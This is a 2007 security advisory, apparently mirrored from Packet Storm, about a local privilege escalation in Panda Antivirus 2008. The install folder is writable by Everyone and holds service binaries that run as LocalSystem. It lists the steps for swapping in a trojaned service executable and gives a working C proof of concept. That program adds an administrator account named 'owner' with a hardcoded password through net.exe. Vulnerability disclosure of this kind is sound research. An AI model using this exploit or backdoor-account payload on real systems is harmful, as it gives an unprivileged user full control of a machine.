Lucene search
K

pandaav-local.txt

🗓️ 08 Aug 2007 00:00:00Reported by tarkusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

Panda Antivirus 2008 Local Privilege Escalation Vulnerabilit

Code
`/*  
_________________________________________  
Security Advisory  
_________________________________________  
_________________________________________  
  
Severity: Medium  
Title: Panda Antivirus 2008 Local Privileg Escalation  
Date: 02.08.07  
Author: tarkus (tarkus (at) tiifp (dot) org)  
URL: https://tiifp.org/tarkus  
Vendor: Panda (http://www.pandasoftware.com/)  
Affected Products: Panda Antivirus 2008  
Not Affected Products: - Panda Internetsecurity 2008  
- Panda Antivirus + Firewall 2008  
  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
  
  
Description:  
------------  
  
1. During installation of Panda Antivirus 2008 the permissions for  
installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\  
by default are set to Everyone:Full Control. Few services  
(e.g. PAVSRV51.EXE) are started from this folder. Services are started  
under LocalSystem account. There is no protection of service files. It's  
possible for unprivileged user to replace service executable with the  
file of his choice to get full access with LocalSystem privileges. Or to  
get privileges or any user (including system administrator) who logons  
to vulnerable host. This can be exploited by:  
  
a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folder  
b. Copy any application to PAVSRV51.exe  
c. Reboot  
  
Upon reboot trojaned application will be executed with LocalSystem  
account.  
  
BTW: Check this from last year (http://www.securityfocus.com/bid/19891)  
  
  
POC:  
----  
*/  
  
#include <windows.h>  
#include <stdio.h>  
  
INT main( VOID )  
{  
CHAR szWinDir[ _MAX_PATH ];  
CHAR szCmdLine[ _MAX_PATH ];  
  
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );  
  
printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );  
  
wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );  
  
system( szCmdLine );  
  
printf( "Adding user \"owner\" to the local Administrators group...\n" );  
  
wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );  
  
system( szCmdLine );  
  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation